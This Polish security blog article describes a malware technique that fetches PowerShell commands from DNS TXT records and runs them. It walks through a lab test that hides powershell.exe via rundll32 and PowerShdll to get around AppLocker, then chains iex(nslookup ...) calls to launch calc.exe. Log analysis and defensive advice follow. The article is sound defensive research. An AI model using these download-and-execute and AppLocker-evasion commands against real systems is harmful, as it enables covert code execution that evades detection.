W artykule tutaj pisaliśmy o metodzie cyberprzestępców pozwalającej za pomocą wbudowanej w system operacyjny komendy CertUtil.exe pobranie z Internetu na komputer ofiary dowolnego kodu. Wymieniliśmy w niej także inne metody, które używają wbudowanych w system Windows komend. W tym artykule chcielibyśmy przedstawić odkrytą niedawno ciekawą metodę ataku malware wykorzystująca usługę DNS i przedstawić sposób w jaki malware może pobrać z niej za pomocą komendy w powershell’u dowolny kod/ładunek (ang. Payload) na komputer ofiary. Postaraliśmy się także ukryć w systemie operacyjnym wywołanie powershella. Na koniec pokusiliśmy się o analizę logów z całego incydentu.
Malware używający skryptu Powershell w pamięci komputera?
W przeciwieństwie do poprzednio opisywanej metody CertUtil.exe, ta metoda wykorzystuje skrypt napisany w Powershell. Dlaczego w powershell? Bo po pierwsze jest on wbudowany w system operacyjny i cyberprzestępca nie musi niczego instalować na komputerze ofiary. Po drugie większość wywołań skryptów powershell-owych i ich wykonanie odbywa się w pamięci komputera, tak więc na dysku nie zostawiają one śladów swojej obecności.
Atak w pamięci nie opiera się na pliku zapisanym na dysku. Żyje w pamięci RAM komputera, którą nazywamy “pamięcią ulotną”. Oznacza to, że zawartość złośliwego kodu jest usuwana po ponownym uruchomieniu komputera. Więcej o metodach wstrzykiwania kodu do pamięci komputera pisaliśmy tutaj.
Powodem, dla którego cyberprzestępcy próbują uniknąć zapisywania plików na dysk, jest to, że najczęściej używane programy zabezpieczające (takie jak programy antywirusowe) koncentrują swoją pracę na sprawdzaniu nazw plików/rozszerzeń lub sygnatur w plikach zapisanych na dysku. W rezultacie narzędzia te pozwalają wykrywać złośliwe pliki i uniemożliwiać im infekowanie komputera. Natomiast ataki w pamięci są bardziej wyrafinowane i omijają oprogramowanie antywirusowe i kryminalistyczne. Dla atakującego, który chce pozostać niewykryty, jest to obecnie najlepszy sposób na uniknięcie narzędzi do obrony. Apropo niezapisywania plików na dysku istnieje jeszcze metoda, w której malware zapisuje instrukcje do odpowiednich kluczy w rejestrze systemowym, chroniąc się także przed oprogramowaniem antywirusowym. O tym pisaliśmy tutaj.
Wracając do skryptów, nie sposób się nie dziwić, dlaczego są ulubionym narzędziem cyberprzestepców. W języku skryptowym posuwają się oni do coraz to najdziwniejszych metod np. techniki zaciemniania kodu (obfuskacja, ang.obfuscation), szyfrowanie/kodowanie, czy wreszcie przekształcanie własnej postaci (metamorfizm). W każdym z tych przypadków tak samo działający złośliwy kod pod względem sygnatury wygląda zupełnie inaczej. Przybiera taką postać, aby nie była on czytelna dla ludzi i zarazem trudna do wykrycia przez sygnaturowe systemy detekcji.
Oprócz powyższych metod maskowania kodu przed wykryciem stosują oni dodatkowe sposoby obejścia AppLocker-a – usługi wbudowanej w system Windows 10 Enterprise do kontroli uruchamianych aplikacji w systemie. Tutaj również pojawiają się ciekawe możliwości obejścia, o których napisaliśmy tutaj.
Może pobierzemy niezauważalnie kod z Internetu?
Najczęściej malware w fazie inicjacji nie zawiera kompletnego kodu na komputerze. Jego dalszy kod pobierany jest z C&C później. Możliwości stosowania skryptów w Powershell sprawiają, że są one wciąż najrzadziej wykrywane przez sygnaturowe systemy bezpieczeństwa, a cyberprzestępcy dalej mogą czuć się bezkarni. W większości wykorzystują one połączenie komputera z Internetem i przez kanał HTTP lub szyfrowany HTTPS są w stanie pobrać kod/instrukcje, który później wykonają na komputerze ofiary, a następnie będą mogły zaszyć się na stałe w systemie, aby po restarcie nie zniknąć z pamięci. Dla firm, które posiadają wdrożone dobrej klasy systemy bezpieczeństwa brzegowego (zaawansowane firewall’e), systemy proxy oraz rozszywarki ruchu SSL możliwość wykrycia lub zablokowania próby pobrania kodu z Internetu jest jak najbardziej osiągalna. Kwestia odpowiedniego napisania reguł i konfiguracji. Istnieją jeszcze inne metody takie jak: nadużywanie typowych protokołów poprzez zmianę znaczenia przenoszonych przez nie danych, np. w pakietach ICMP Ping (echo request – echo reply) oraz tunelowanie ruchu poprzez sieci anonimizujące (w szczególności sieć TOR).
W ostatnim czasie zauważyliśmy, że twórcy malware starają się być jeszcze bardziej niezauważeni przez rozwiązania monitorujące ruch Internetowy do komputerów i zaczęli do komunikacji wykorzystywać usługę DNS.
Dlaczego DNS?
DNS jest krytyczną usługą dla wielu firm oraz Internetu. Bez niej praktycznie nie są w stanie funkcjonować systemy informatyczne. DNS pracuje na porcie 53 UDP i jest używany praktycznie od momentu zalogowania komputera do sieci. To ona tłumaczy trudne do zapamiętania adresy IP komputerów/usług na zrozumiałe dla nas nazwy. Niektóre firmy implementują własny serwer DNS w celu ochrony przed atakami z zewnątrz i kontroli nazewnictwa wewnętrznych zasobów komputerowych w firmie.
Dlaczego cyberprzestępcy wybrali usługę DNS do komunikacji malware? Odpowiedź jest banalnie prosta. W większości firm nie jest ona odpowiednio zabezpieczona, a tym bardziej w obszarze monitorowania od strony zapytań jakie kierowane są przez komputery do niej. Monitorowanie DNS ograniczone jest najczęściej do nazw domen, do których są wykonywane zapytania i sprawdzaniem tych domen ze wskaźnikiem tak zwanej reputacji –czyli, czy domena jest sklasyfikowana jako szkodliwa/podejrzana, czy nie.
Jak pobrać dane poprzez DNS?
Zazwyczaj poprzez DNS pobieramy/rozwiązujemy nazwy i adresy IP dla komputerów i usług np. MX w przypadku poczty. Jak się okazuje istnieje specjalny rekord w DNS o typie TXT, w którym istnieje możliwość przechowania do 255 znaków tekstu. To właśnie ten atrybut DNS pozwala przestępcom na komunikację malware z centrum C&C (kontroli i zarządzania malware). Poprzez wystawioną w Internecie usługę DNS są oni w stanie kontrolować odpalone na komputerach skrypty/programy. Nasuwa się tutaj pytanie, czy 255 znaków to nie za mało, aby można było pobrać wystarczająca ilość danych? Do wykonania pojedynczej komendy z wiersza poleceń powinno wystarczyć, ale jakbyśmy chcieli pobrać zakodowany program lub cały skrypt to będzie już za mało. Wtedy takich rekordów TXT musi znaleźć się o wiele więcej i malware po stronie komputera musi wykonać kilkanaście lub więcej iteracji pobrań takiego kodu. Bardziej inteligentne malware pobierają kod w pewnych odstępach czasowych, aby nie zostały szybko wykryte przez systemy monitorowania.
Jak połączyć Powershell i DNS?
Jeśli jesteśmy w posiadaniu ciężko wykrywalnego skryptu Powershell (np. z obfuskacją) i połączymy go z wykorzystaniem usługi DNS do pobierania ładunku, wówczas istnieje wysokie prawdopodobieństwo sukcesu wykonania kodu po stronie komputera ofiary.
Jak mógłby wyglądać przykład takich instrukcji? Pokusiliśmy się o wykonanie badań i sprawdzenia możliwości powershell’a.
Metoda jest genialna i zauważyliśmy, że podobne iteracje tego przypadku wykorzystywane są przez bardziej wyrafinowanych cyberprzestępców. Została ona przedstawiona przez japońskiego badacza bezpieczeństwa Vincenta Yiu. Wygląda następująco:
>powershell – c „powershell . (nslookup.exe -q=TXT calc.appeal.lab)[5]”
Należy zauważyć, że instancja powershell wywołuje polecenie calc.exe (z zapytania dns zwracającego uruchomienie procesu calc.exe) za pomocą “.”. W tym przykładzie nie ma możliwości wywoływania dodatkowego kodu bez użycia go jako przypisanej zmiennej i wywoływania go później lub użycia innej metody do uzyskania danych.
W tym przypadku, rekordy TXT dla witryny internetowej pobierają bezpośrednie polecenia PowerShell i odpowiednio wykonują w systemie za pomocą polecenia nslookup. Oznacza to, że możemy wpisać kod do rekordów TXT w DNS, aby uzyskać wykonanie kodu bez faktycznego uruchomienia go w poleceniu PowerShell. Stwarza to bardzo niebezpieczną możliwość wywołania kodu po stronie malware.
Scenariusz pobrania przez malware kodu z DNS
W celu sprawdzenia naszych zabezpieczeń stworzyliśmy scenariusz, w którym rozszerzyliśmy możliwości komendy pana Yiu, ukryliśmy wywołanie procesu „powershell.exe” w systemie Windows stosując metodę wstrzyknięcia zewnętrznej biblioteki DLL powershella, a następnie wywołaliśmy kod pobrany z DNS. Przypadek trudny do wykrycia przez oprogramowania antymalware.
Poniżej kroki, które wykonaliśmy w celu sprawdzenia skuteczności metody:
1.
Skonstruowaliśmy dwa rekordy TXT DNS w naszej domenie, tak aby zawierały instrukcje pobieraną przez skrypt do dwóch parametrów:
- Rekord TXT calc1 z komendą „IEX” – skrót od komendy powershell Invoke-Expression służącej do wywołania procesu wykonywania kodu w powershell
- Rekord TXT calc2 z komendą „Start-Process calc.exe” – uruchamiającą proces kalkulatora.
2.
Wykorzystaliśmy wiedzę opisaną w naszym artykule tutaj, w celu wzbogacenia naszego scenariusza poprzez ukrycie wywołania „powershell.exe” w systemie operacyjnym Windows 10 i ominięcia funkcji Applocker’a Windows (mamy włączoną taką funkcję i blokujemy wywołania powershell.exe dla zwykłych użytkowników).
Jesteśmy zalogowani do Windows 10 (build 1803).
Do uruchomienia powershella użyliśmy specjalnie skompilowanej w C# biblioteki napisanej przez osobę o nicku «p3nt4» na github (https://github.com/p3nt4/PowerShdll)
>rundll32 PowerShdll,main -w
3.
Następnie pobraliśmy wywołanie dwóch komend do zmiennych $command1 oraz $command2
>$command1 = iex(nslookup.exe -q=txt calc1.appeal.lab)[5]
>$command2 = iex(nslookup.exe -q=txt calc2.appeal.lab)[5]
4.
Wykonaliśmy polecenie złożone z pobranych wartości zmiennych $command1 i command2
>>. $command1 $command2
5.
W wynik odpalenia polecenia z kroku 4 na pulpicie ukazał się naszym oczom kalkulator.
Jakie zdarzenia zarejestrował system operacyjny?
Od strony logów systemu operacyjnego Windows nie znaleźliśmy nic ciekawego. Zajrzeliśmy więc do zaawansowanych logów Sysmon’a uruchomionego na komputerze ofiary, żeby dowiedzieć się coś więcej. Niestety, tutaj też za dużo informacji nie mamy.
Na powyższym ekranie widzimy połączenie komendy nslookup do serwera 10.0.0.4 ze stacji roboczej 10.0.0.6.
Następnie widzimy wywołanie komendy „rundll32 PowerShdll,main -w” oraz uruchomienie z niej bezpośrednio procesu kalkulatora „Calc.exe”. Brak śladu o wpisywanym poleceniu nslookup!
Również w zaawansowanym logu systemowym Powershell nie dowiemy się za dużo o odpalonej komendzie nslookup i parametrach:
Jedynym miejscem, gdzie możemy się dowiedzieć więcej na temat wywołanej komendy Powershell jest log Powershell z włączonym audytem ScriptBlock. Tutaj otrzymamy zdarzenie ID 4104 log z wartością wpisywanej komendy „nslookup:”
Czy jest się czego bać?
Opisany powyżej przypadek pokazuje jak twórcy malware mogą ominąć standardowe/bądź wbudowane oraz skonfigurowane najnowsze zabezpieczenia w Windows 10. Jest on tyle ciekawy, że wykorzystuje usługę DNS oraz potrafi ominąć AppLocker-a oraz ukryć wywołanie „powershell.exe” w systemie operacyjnym. Komendę z punktu 1 moglibyśmy jeszcze bardziej rozwinąć i zamaskować szyfrując ją lub zaciemniając jeszcze przed pobraniem jej z DNS, ale w tym przypadku nie było sensu, ponieważ i tak nie jest ona rejestrowana w logu (za wyjątkiem włączonego audytu ScriptBlock w Powershell).
Przetestujcie swoje systemy i sprawdźcie, czy udało się wykonać wywołanie powyższego skryptu w środowisku. Dalsza dyskusja jest zbędna :)
Jak możemy sobie pomóc?
Przede wszystkim stosując i implementując w systemach przykłady dobrych praktyk z PowerShell (i nie tylko). Należą do nich:
- Monitorowanie komend PowerShell o dużej długości
- Umieszczanie PowerShell w trybie ograniczonego języka (link)
- Włączenie audytu – ulepszonego rejestrowania poleceń PowerShell – czyli rejestrowanie bloków skryptów (przykład tutaj)
Innymi dobrymi praktykami będą też na pewno:
- Wykonywanie cyklicznych testów przez wyspecjalizowane zespoły do łamania zabezpieczeń w celu określenia podejrzanej aktywności
- Audytowanie środowiska i szukanie odchyleń wzorów (takich jak PowerShell, CBD, regsvr32 itd.) oraz ich prób komunikacji z Internetem
- Monitorowanie wzorców takich jak IEX, EncodedCommand (oraz wszystkich innych iteracji -e, -ec, -en, enc, itp.). Nie będzie to kompleksowa ochrona, ale zawsze jakaś 🙂
- Wykorzystanie narzędzia takiego jak Sysmon do zwiększenia możliwości rejestrowania i wykrywania technik wstrzyknięcia kodu, które mogą pochodzić z podejrzanych procesów, w tym PowerShell
- Przeglądanie dzienników DNS pod kątem podejrzanych długości poleceń i długości żądań DNS
- Szukanie w infrastrukturze plików System.Management.Automation.dll i System.Management.Automation.ni.dll, które nie pochodzą od powershell.exe i powershell_ise.exe (zwykle używane do korzystania z PowerShell, ale nie wywołują bezpośrednio PowerShell)
- Zablokowanie zwykłym użytkownikom uruchamianie PowerShell, jeśli nie jest to konieczne (funkcja AppLocker + Device Guard może blokować zwykłych użytkowników i umożliwiać administratorom / systemowi korzystanie z PowerShell).
- Monitorowanie procesów podrzędnych, które są wywoływane z powershell.exe i potencjalne ich przejęć, które mogą być wywoływane przez procesy z innych lokalizacji
- Szukanie pliku powershell.exe (znajdującego się w systemie w katalogu c:\winows\system32), składającego podrzędny proces 32-bitowego PowerShell (znajdującego się w SYSWOW64). Dobra wskazówka na wykrywanie technik wstrzykiwania kodu powłoki
Podsumowanie
W miarę jak postępuje nauka, cyberprzestępcy oraz branża IT staje się coraz bardziej zaawansowania dzięki technologiom PowerShell i technikom obejścia blokad, tradycyjne metody wykrywania za pomocą rozpoznawania sygnatur/wzorców nie powinny polegać wyłącznie na wykrywaniu złośliwego oprogramowania PowerShell. Przykładem zaciemniania kodu są narzędzia Invoke-Obfuscation i Invoke-CradleCrafter autorstwa Daniela Bohannona. Są to świetne narzędzia i przykłady tego, jak głębokie zatajenie może naprawdę nadejść. Poszukiwanie dziwnych wzorców zachowań i wykrywania w firmie może znacznie zmniejszyć zdolność wykrywania ataków we wczesnych stadiach.
Jeśli poprawnie monitorujemy i audytujemy Powershella w firmie warto pokusić się o zakup systemu do analizy zagrożeń, w tym monitorującego procesy odpalane na końcówkach. Warto byłoby też wyposażyć się w system do analizy połączeń DNS i blokującego wszelkie podejrzane zapytania. W kwestii monitorowania sieci, to system wykorzystujący logiką sztucznej inteligencji (uczenia maszynowego) do wykrywania nietypowych zachować urządzeń w sieci będzie na pewno dobra alternatywą do narzędzi bazujących tylko i wyłącznie na sygnaturach.